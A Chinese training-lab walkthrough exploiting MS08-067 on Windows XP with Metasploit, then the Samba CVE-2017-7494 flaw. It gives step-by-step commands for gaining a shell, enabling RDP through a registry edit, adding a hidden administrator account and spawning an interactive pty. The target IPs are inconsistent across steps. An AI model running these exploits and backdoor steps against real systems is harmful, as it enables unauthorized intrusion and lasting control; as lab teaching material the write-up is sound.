一.2 实训环境
Windows XP SP3
IP:192.168.86.131
Kali Linux
IP:192.168.86.129
一.3 实训原理
漏洞名称:Windows Server服务RPC请求缓冲区溢出漏洞(MS08-067)此安全更新解决了服务器服务中一个秘密报告的漏洞。如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。 防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。
一.4 漏洞利用过程
在msfconsole使用search命令搜索MS08067漏洞攻击程序
从结果中得到
exploit/windows/smb/ms08_067_netapi
表示当前msf框架中包含MS08067漏洞的攻击插件。
使用use命令调用MS08067漏洞攻击程序
use exploit/windows/smb/ms08_067_netapi
进入msf的交互式命令窗口下,使用show options 命令查看需要设置的选项
从图中可以看到还需设置RHOST(目标地址)、Exploit target(攻击目标)使用 set 命令设置 Module Options
此处需要设置目标IP即 set RHOST 10.0.2.15
使用 set 命令设置后,可再使用show options 命令查看设置情况
从中可以看出目标IP已经设置好接着设置Exploit target,使用show targets 查看可选项可以看出以下版本的系统均存在此漏洞。
因为实例演示的XP系统为WinXP SP3 简体中文版对应的编号为34,由于不明确,本次实验使用编号为0。
使用set target 命令设置目标,此处即为set target 0
此时再用show options 可以看到全部设置完成,接着使用exploit 或者 run 进行攻击
执行exploit命令后得到一个meterpreter命令行交互窗口
在meterpreter中输入run getgui -e 命令,可以打开RDP(远程桌面)服务,端口号3389。
继续输入shell即可进入CMD窗口
在cmd命令下也可以通过添加注册表项的方式开启对方远程桌面服务(如果上面已经开启了,这步可以省略)。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
使用netstat -an命令查看端口是否开放,从图中可以看到已经开放3389端口
接着使用net user命令查看XP系统中的用户
在平台中获取shell之后,继续在命令行添加账户和管理员权限。
net user user pass /add 例如:net user gao 123 /add
net localgroup administrators /add
例如:net localgroup administrators gao /add
最后开启远程桌面,利用刚在添加的账户登陆被攻击机器。
rdesktop -a 32 -u gao -p 123 172.16.211.129:3389
(二)SMB协议漏洞利用与控制CVE-2017-7494
一.3 实训步骤
一、在攻击者机器上,使用Nmap或netdiscover工具扫描子网的机器,发现靶机的IP地址。
二、使用Nmap工具扫描目标IP地址,发现其开放端口。
三、启动MSF搜索CVE-2017-7494相关攻击模块
四、加载攻击模块
五、查看攻击模块中需要配置的参数
其中RHOST代表要攻击的目标IP地址
RPORT代表攻击目标的端口号
六、设置参数,并发动攻击
七、获取shell后,查看权限
八、获得命令行交互窗口
使用python脚本获得交互命令行窗口,脚本如下:
python -c "import pty; pty.spawn('/bin/bash')"
九、查看flag文件